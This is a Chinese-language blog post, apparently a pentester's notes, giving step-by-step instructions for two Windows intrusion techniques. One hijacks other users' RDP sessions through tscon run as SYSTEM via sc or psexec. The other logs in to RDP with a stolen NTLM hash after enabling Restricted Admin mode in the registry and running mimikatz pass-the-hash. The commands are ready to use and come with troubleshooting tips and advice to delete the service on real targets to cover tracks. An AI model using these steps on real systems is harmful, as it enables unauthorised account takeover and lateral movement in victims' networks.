前言
文章涉及的技术并不深,只是本人在学习内网过程中的记录。前段时间出差做项目时,遇到问题是 导出域内Ntds无法解出明文密码导致不能登录目标域用户RDP(有特殊原因必须上远程桌面情况下)
,通过学习发现有两种方式分别是rdp会话劫持及利用hash登录Rdp
可尝试解决该问题,此为记录实操过程,有不妥的之处还请各位师傅给予斧正。
一、RDP会话劫持
系统管理员和用户通常可以通过 RDP(远程桌面)协议登录指定3389服务器,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话
,该漏洞在2017年由以色列安全研究员Alexander Korznikov在个人博客中披露。利用条件只需要获取机器system权限执行tscon命令
。
利用过程-服务
可以通过计划任务,服务等系统自带命令获取system权限cmd命令窗口,但高版本例如Windows10的服务似乎就不能直接获取system权限cmd,但可以直接跟上tscon命令,默认情况下服务将作为SYSTEM权限运行。 如果你是在攻击真实目标,最后一定要删除服务!
- quser 或者 qwinsta 查看会话id
创建劫持用户会话的服务 等号后面有个空格!
- sc create rdp binpath= “cmd.exe /k tscon 2 /dest:console”
sc qc rdp
sc start rdp
PS:该方法优点系统自带,但稍威麻烦一点。
利用过程-Psexec
相对刚刚服务来说,更推荐家中常备Psexec微软签名正版授权(免杀杠杠的)操作简单
,功能强大相比Python版psexec少了哈希传递功能。
首次使用建议 带上-accepteula参数
(感谢强哥) ,不然就会像这样弹窗。。。
- psexec -s -i cmd
quser
tscon 2 /dest:console
踩坑点:记得无论是服务还是psexec都要用管理员运行cmd命令行窗口,不然会出现权限不够!
当然能获取system权限命令窗口还有其他方法,这里只记录相对简单且实用的。
二、利用Hash登录rdp远程桌面
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启"Restricted Admin Mode"
, 在Windows8.1和Windows Server 2012R2上默认开启。本有两种开启方法第一种为打补丁,第二种为手动修改注册表,这里只介绍第二种。
修改注册表
位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
对应命令行开启Restricted Admin mode的命令如下:
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否已开启 DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query “HKLM\System\CurrentControlSet\Control\Lsa” | findstr “DisableRestrictedAdmin”
客户端命令行:
- mstsc.exe /restrictedadmin
值得注意的是 这里无法登录是因为Restricted Admin mode使用当前Windows登录凭据
,需借助mimiketz进行pth,不需要明文密码,直接登录即可。Server 开启Restricted Admin mode时,Client 也需要支持Restricted Admin mode,
** mimikatz 踩坑记录如下:**
遇到此错误 ERROR kuhl_m_sekurlsa_acquireLSA ; Modules informations
请检查mimiket及对应操作系统版本
若遇到 error kuh1_m_sekurlsa_acquireLSA:logon list
请下载最新版mimiketz
遇到CredSSP加密数据库错误是大概是因为win10家庭版
,做演示时俺就遇上了,于是就用2016虚拟机进行后续操作。
- mimikatz命令如下:
privilege::debug
sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 “/run:mstsc.exe /restrictedadmin”
执行后弹出远程登录界面,如下图 选择连接,成功实现远程登录
受限管理员模式
受限管理员模式顾名思义,只对管理员组有效
.所以如果你获取到的用户属于远程桌面用户组,那么是无法通过hash登录的.会提示如下的错误:
首先把刚刚的用户移除administrators管理组,查看该用户权限这里不知道什么原因,没显示报错信息但这并不影响他无法登录的事实
参考:
RDP会话劫持 Ladon无密码登陆管理员桌面会话
Passwordless RDP Session Hijacking Feature All Windows versions
渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)
Hash传递攻击Windows2012远程桌面
后记
- 感谢给予帮助和支持的同事以及所在的白帽一百少先队,最后谢谢你
声明:本文章经用于经验及交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意
- 最后希望大家不要吝啬您的批评或赞美,对我来说都是莫大的支持及鼓励!